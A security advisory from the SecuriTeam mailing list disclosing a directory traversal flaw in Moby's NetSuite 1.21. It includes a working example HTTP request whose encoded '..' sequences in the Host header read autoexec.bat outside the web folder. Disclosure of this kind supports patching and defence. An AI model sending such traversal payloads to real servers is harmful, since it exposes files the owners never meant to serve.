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Beyond Security in Canada

Toronto−based Sunrays Technologies is now Beyond Security's representative in Canada.
We welcome ISPs, system integrators and IT systems resellers
to promote the most advanced vulnerability assessment solutions today.

Contact us at 416−482−0038 or at canadasales@beyondsecurity.com
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SUMMARY

 <http://www.mobydisk.com/mobyware/netsuite.html> NetSuite is a "freeware
server suite that allows anyone with a static IP address the ability to
run their own mail and web services".

There exists a directory traversal vulnerability in the product that
allows an attacker to download or read files that reside outside the
bounding web folder.

DETAILS

Vulnerable systems:
 * Moby's Netsuite version 1.21

Example:
GET / HTTP/1.1
Host: /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat
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In our example, we will gain access to the autoexec.bat file.

ADDITIONAL INFORMATION

The information has been provided by <mailto:dr_insane@pathfinder.gr>
Dr_insane.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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